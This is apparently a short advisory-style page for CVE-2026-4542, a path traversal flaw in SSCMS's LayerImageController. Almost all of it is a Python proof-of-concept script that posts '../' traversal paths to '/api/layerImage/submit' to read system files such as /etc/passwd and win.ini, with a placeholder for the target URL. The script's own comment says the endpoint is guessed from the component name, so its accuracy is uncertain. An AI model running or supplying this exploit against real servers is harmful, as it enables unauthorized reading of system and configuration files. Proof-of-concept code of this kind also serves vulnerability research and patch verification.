CVE-2026-4542 SSCMS路径遍历漏洞

import requests def exploit_poc(target_url): """ PoC for CVE-2026-4542: Path Traversal in SSCMS LayerImageController.Submit.cs """ # Vulnerable endpoint based on component name endpoint = "/api/layerImage/submit" full_url = f"{target_url}{endpoint}" # Malicious payload attempting to traverse directories # Using '../' to move up the directory structure payload = { "filePaths": ["../../windows/win.ini", "../../etc/passwd"] } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) VulnerabilityScanner/1.0", "Content-Type": "application/json" } try: response = requests.post(full_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for path traversal indicators.") print("[+] Response Body:", response.text[:200]) else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target exploit_poc(target)